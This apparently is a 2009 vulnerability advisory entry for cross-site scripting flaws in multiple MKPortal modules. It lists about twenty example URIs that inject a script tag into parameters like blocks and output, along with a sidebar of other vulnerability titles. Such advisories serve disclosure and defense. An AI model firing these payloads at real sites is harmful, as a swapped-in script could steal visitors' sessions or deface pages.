exploits , vulnerabilities , articles , MKPortal Multiple Modules Cross Site Scripting Vulnerabilities

Title	MKPortal Multiple Modules Cross Site Scripting Vulnerabilities
Published	2009-08-31-12:00AM
Updated	2009-09-02-05:12PM
Class	Input Validation Error
CVE
Remote	Yes
Local	No
Credit	Inj3ct0r
Vulnerable	MKPortal MKPortal 1.2.2 MKPortal MKPortal 1.2.1 MKPortal MKPortal 1.1.1 MKPortal MKPortal 1.0.1 Final MKPortal MKPortal 1.1 RC1
Not Vulnerable
Code	An attacker can exploit these issues by enticing an unsuspecting victim to follow a malicious URI.The following example URIs are available:http://www.example.com/index.php?ind=gbook&content=%3Cscript%3Ealert(1)%3C/script%3E http://www.example.com/index.php?ind=gbook&blocks=%3Cscript%3Ealert(1)%3C/script%3E http://www.example.com/index.php?ind=gbook&message=%3Cscript%3Ealert(1)%3C/script%3E http://www.example.com/index.php?ind=whois&blocks=%3Cscript%3Ealert(1)%3C/script%3E http://www.example.com/index.php?ind=lenta&output=%3Cscript%3Ealert(1)%3C/script%3E http://www.example.com/index.php?ind=lenta&blocks=%3Cscript%3Ealert(1)%3C/script%3E http://www.example.com/metric/?output=%3Cscript%3Ealert(1)%3C/script%3E http://www.example.com/metric/?error=%3Cscript%3Ealert(1)%3C/script%3E http://www.example.com/metric/?blocks=%3Cscript%3Ealert(1)%3C/script%3E http://www.example.com/index.php?ind=recommend&blocks=%3Cscript%3Ealert(1)%3C/script%3E http://www.example.com/Anekdot/?output=%3Cscript%3Ealert(1)%3C/script%3E http://www.example.com/Anekdot/?blocks=%3Cscript%3Ealert(1)%3C/script%3E http://www.example.com/Anekdot/?contents=%3Cscript%3Ealert(1)%3C/script%3E http://www.example.com/contact/index.php?blocks=%3Cscript%3Ealert(1)%3C/script%3E http://www.example.com/contact/mail.php?to=1@1.1&mess=2&subj=3&headers=4&name=5&teme=6&soob=7&email=2@2.2&output=%3Cscript%3Ealert(1)%3C/script%3E http://www.example.com/contact/mail.php?to=1@1.1&mess=2&subj=3&headers=4&name=5&teme=6&soob=7&email=2@2.2&blocks=%3Cscript%3Ealert(1)%3C/script%3E http://www.example.com/speed/?output=%3Cscript%3Ealert(1)%3C/script%3E http://www.example.com/speed/?blocks=%3Cscript%3Ealert(1)%3C/script%3E http://www.example.com/index.php?ind=horoscop&blocks=%3Cscript%3Ealert(1)%3C/script%3E http://www.example.com/index.php?ind=horoscop&output=%3Cscript%3Ealert(1)%3C/script%3E http://www.example.com/catphones/index.php?output=%3Cscript%3Ealert(1)%3C/script%3E http://www.example.com/catphones/index.php?blocks=%3Cscript%3Ealert(1)%3C/script%3E
TXT

Vulnerabilities - newest 10 RSS | More

2009-12-19 Serv-U File Server User Directory Information Disclosure Vulnerability
2009-12-18 ReVou Comment Field HTML Injection Vulnerability
2009-12-18 Adobe Flash Media Server Resource Exhaustion Remote Denial of Service Vulnerability
2009-12-18 Centreon Authentication Mechanism Security Bypass Vulnerability
2009-12-18 Family Connections Multiple Input Validation Vulnerabilities
2009-12-18 Drupal Contact and Menu Modules Multiple HTML Injection Vulnerabilities
2009-12-18 Mozilla Firefox and SeaMonkey NTLM Credential Reflection Authentication Bypass Vulnerability
2009-12-18 Mozilla Firefox CVE-2009-3982 JavaScript Engine Multiple Remote Memory Corruption Vulnerabilities
2009-12-17 Zen Cart Insecure File and Programs Information Disclosure and Database Deletion Vulnerability
2009-12-17 Winamp Module Decoder Plugin Multiple Buffer Overflow Vulnerabilities